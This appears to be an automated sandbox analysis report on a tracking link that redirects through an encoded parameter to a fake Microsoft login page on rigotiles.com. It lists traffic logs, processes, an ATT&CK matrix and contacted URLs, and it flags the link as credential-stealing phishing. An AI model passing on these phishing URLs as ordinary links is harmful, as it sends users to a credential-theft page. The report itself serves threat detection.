Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 51032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 53706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51034
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51038
Source: unknown	Network traffic detected: HTTP traffic on port 51061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51039
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51042
Source: unknown	Network traffic detected: HTTP traffic on port 53717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51040
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 51050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 51056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51043
Source: unknown	Network traffic detected: HTTP traffic on port 53701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51044
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51048
Source: unknown	Network traffic detected: HTTP traffic on port 53718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51050
Source: unknown	Network traffic detected: HTTP traffic on port 53724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51051
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 53729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51059
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51060
Source: unknown	Network traffic detected: HTTP traffic on port 51045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51061
Source: unknown	Network traffic detected: HTTP traffic on port 51039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 51031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 51060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 53708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53726
Source: unknown	Network traffic detected: HTTP traffic on port 51058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53725
Source: unknown	Network traffic detected: HTTP traffic on port 51035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53724
Source: unknown	Network traffic detected: HTTP traffic on port 53703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53728
Source: unknown	Network traffic detected: HTTP traffic on port 53732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53721
Source: unknown	Network traffic detected: HTTP traffic on port 51041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53720
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53730
Source: unknown	Network traffic detected: HTTP traffic on port 53737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53732
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53731
Source: unknown	Network traffic detected: HTTP traffic on port 51047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53740
Source: unknown	Network traffic detected: HTTP traffic on port 53738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51069
Source: unknown	Network traffic detected: HTTP traffic on port 53722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53709
Source: unknown	Network traffic detected: HTTP traffic on port 53734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53708
Source: unknown	Network traffic detected: HTTP traffic on port 53728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53700
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53714
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53717
Source: unknown	Network traffic detected: HTTP traffic on port 53700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53710
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53711 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.206:443 -> 192.168.2.16:51028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:51032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:51035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:51038 version: TLS 1.2

Source: classification engine

Classification label: mal88.phis.win@21/70@50/16

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1952,i,4673534725158447727,11309025112400644165,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.phsinc.com/?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1952,i,4673534725158447727,11309025112400644165,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://www.phsinc.com/?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label
http://knockoutjs.com/	0%	URL Reputation	safe
http://gsgd.co.uk/sandbox/jquery/easing/	0%	URL Reputation	safe
http://www.opensource.org/licenses/mit-license.php)	0%	URL Reputation	safe
http://feross.org	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
react.rigotiles.com	188.114.96.3	true	false	unknown
s-part-0039.t-0009.t-msedge.net	13.107.246.67	true	false	unknown
mail.rigotiles.com	188.114.97.3	true	true	unknown
vn3hg.rigotiles.com	188.114.96.3	true	false	unknown
i.ibb.co	162.19.58.157	true	false	unknown
phsinc.com	3.132.253.175	true	false	unknown
js.hcaptcha.com	104.19.230.21	true	false	unknown
challenges.cloudflare.com	104.18.94.41	true	false	unknown
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	unknown
www.google.com	216.58.206.68	true	false	unknown
ywnjb.rigotiles.com	188.114.96.3	true	false	unknown
api2.hcaptcha.com	104.19.230.21	true	false	unknown
newassets.hcaptcha.com	104.19.230.21	true	false	unknown
www.phsinc.com	unknown	unknown	true	unknown
aadcdn.msftauth.net	unknown	unknown	true	unknown
identity.nel.measure.office.net	unknown	unknown	true	unknown
206.23.85.13.in-addr.arpa	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://newassets.hcaptcha.com/captcha/v1/05c78a4/static/hcaptcha.html	false	unknown
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js	false	unknown
https://a.nel.cloudflare.com/report/v4?s=ctuXg0CF%2FmAcRHMKXW664gMZvvIPm5eQQ5smhIGrVczEx2QIzScsyeEM4XNiU12AjL0Ag42dHxzewCZurKVysJlYEq0FxJa159Sxh48%2BC0v7eor7oo0SGEtlLDbxdQUclbv791sN	false	unknown
https://mail.rigotiles.com/	false	unknown
https://vn3hg.rigotiles.com/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js	false	unknown
https://vn3hg.rigotiles.com/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js	false	unknown
https://mail.rigotiles.com/common/handlers/watson	false	unknown
https://vn3hg.rigotiles.com/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	false	unknown
https://vn3hg.rigotiles.com/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/qh7j5/0x4AAAAAAAyr4qst3s0poVsP/auto/fbE/normal/auto/	false	unknown
https://react.rigotiles.com/login	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false	unknown
https://i.ibb.co/SJ5tdZc/download.png[/img	false	unknown
https://js.hcaptcha.com/1/api.js	false	unknown
https://vn3hg.rigotiles.com/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_d0a803279e7397bef834.js	false	unknown
https://www.phsinc.com/?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42	true	unknown
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js	false	unknown
https://vn3hg.rigotiles.com/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif	false	unknown
https://mail.rigotiles.com/s/07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157/e912187ff14fbe0e087fdd0242e0ac50ec5f2e3b1729e3fe0d8b2bf4a69d8ad8.js	false	unknown
https://newassets.hcaptcha.com/c/0d69d1a359119bd0e2c5ca7f11f300ac050517fd19b612f86c0c75a2b0b39cbe/hsw.js	false	unknown
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js	false	unknown
https://vn3hg.rigotiles.com/ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css	false	unknown
https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js	false	unknown
https://challenges.cloudflare.com/turnstile/v0/b/22755d9a86c9/api.js	false	unknown
https://mail.rigotiles.com/jPsQWUcB	true	unknown
https://i.ibb.co/SJ5tdZc/download.png	false	unknown
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js	false	unknown
https://mail.rigotiles.com/s/07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157.js	false	unknown
https://mail.rigotiles.com/jPsQWUcB?y=IUmJJik	true	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8db68aefa9dee71a/1730408094291/1DUK2cFFx0Ov71K	false	unknown
https://ywnjb.rigotiles.com/Me.htm?v=3	false	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false	unknown
https://vn3hg.rigotiles.com/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js	false	unknown
https://vn3hg.rigotiles.com/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js	false	unknown
https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	true	unknown
https://vn3hg.rigotiles.com/shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8db68aefa9dee71a&lang=auto	false	unknown
